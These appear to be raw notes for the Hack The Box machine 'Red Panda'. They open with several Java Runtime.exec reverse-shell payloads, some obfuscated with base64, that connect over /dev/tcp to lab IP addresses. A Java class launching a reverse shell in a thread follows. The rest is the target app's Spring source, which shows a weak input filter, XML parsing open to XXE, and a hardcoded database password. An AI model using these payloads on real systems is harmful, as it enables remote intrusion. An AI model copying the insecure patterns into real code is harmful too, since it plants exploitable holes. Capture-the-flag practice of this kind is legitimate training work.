HTB - Red Panda

Runtime.getRuntime().exec("/bin/bash -c 'exec 5<>/dev/tcp/10.10.14.154/8081;cat <&5 | while read line; do $line 2>&5 >&5; done'").waitFor();

exec(["/bin/bash", "-c", "exec 5<>/dev/tcp/10.10.14.154/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])

r = Runtime
  .getRuntime()
  .exec(["echo -n 'ZXhlYyA1PD4vZGV2L3RjcC8xMC4xMC4xNC4yMzIvODA4MDtjYXQgPCY1IHwgd2hpbGUgcmVhZCBsaW5lOyBkbyAkbGluZSAyPiY1ID4mNTsgZG9uZQo=' | base64 -d | bash"] as String[])
  .waitFor()

// Victim Java RCE
class Main
{
    public static void main(String args[]){
            Thread thread = new Thread(){
            public void run(){
                // Reverse shell here
                try {
                    //WORKING:
                    //Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/127.0.0.1/4242 0>&1").waitFor();
                 	Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx}|{base64,-D}|{bash,-i}");
                } catch (Exception e) {
                  // TODO Auto-generated catch block
                  e.printStackTrace();
                }
              }
            };
            thread.start();

    }
}

Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMzIvNDI0MiAwPiYx}|{base64,-D}|{bash,-i}")

Runtime.getRuntime().exec(new String[]{"bash", "-c", "cmd"})

package com.panda_search.htb.panda_search;

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
  	public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
        SAXBuilder saxBuilder = new SAXBuilder();
        if(author == null)
        author = "N/A";
        author = author.strip();
        System.out.println('"' + author + '"');
        if(author.equals("woodenk") || author.equals("damian"))
        {
            String path = "/credits/" + author + "_creds.xml";
            File fd = new File(path);
            Document doc = saxBuilder.build(fd);
            Element rootElement = doc.getRootElement();
            String totalviews = rootElement.getChildText("totalviews");
               	List<Element> images = rootElement.getChildren("image");
            for(Element image: images)
                System.out.println(image.getChildText("uri"));
            model.addAttribute("noAuthor", false);
            model.addAttribute("author", author);
            model.addAttribute("totalviews", totalviews);
            model.addAttribute("images", images);
            return new ModelAndView("stats.html");
        }
        else
        {
            model.addAttribute("noAuthor", true);
            return new ModelAndView("stats.html");
        }
    }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
    public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

        System.out.println("Exporting xml of: " + author);
        if(author.equals("woodenk") || author.equals("damian"))
        {
            InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
            System.out.println(in);
            return IOUtils.toByteArray(in);
        }
        else
        {
            return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
        }
    }
  @PostMapping("/search")
    public ModelAndView search(@RequestParam("name") String name, Model model) {
    if(name.isEmpty())
    {
        name = "Greg";
    }
        String query = filter(name);
    ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
    model.addAttribute("pandas", pandas);
    model.addAttribute("n", pandas.size());
    return new ModelAndView("search.html");
    }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
        panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}

package com.panda_search.htb.panda_search;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletResponse;

import java.io.BufferedWriter;
import java.io.FileWriter;

import javax.servlet.http.HttpServletRequest;

import org.apache.catalina.User;
import org.springframework.web.servlet.ModelAndView;

public class RequestInterceptor extends HandlerInterceptorAdapter {
    @Override
    public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("interceptor#preHandle called. Thread: " + Thread.currentThread().getName());
        return true;
    }

    @Override
    public void afterCompletion (HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("interceptor#postHandle called. Thread: " + Thread.currentThread().getName());
        String UserAgent = request.getHeader("User-Agent");
        String remoteAddr = request.getRemoteAddr();
        String requestUri = request.getRequestURI();
        Integer responseCode = response.getStatus();
        /*System.out.println("User agent: " + UserAgent);
        System.out.println("IP: " + remoteAddr);
        System.out.println("Uri: " + requestUri);
        System.out.println("Response code: " + responseCode.toString());*/
        System.out.println("LOG: " + responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri);
        FileWriter fw = new FileWriter("/opt/panda_search/redpanda.log", true);
        BufferedWriter bw = new BufferedWriter(fw);
        bw.write(responseCode.toString() + "||" + remoteAddr + "||" + UserAgent + "||" + requestUri + "\n");
        bw.close();
    }
}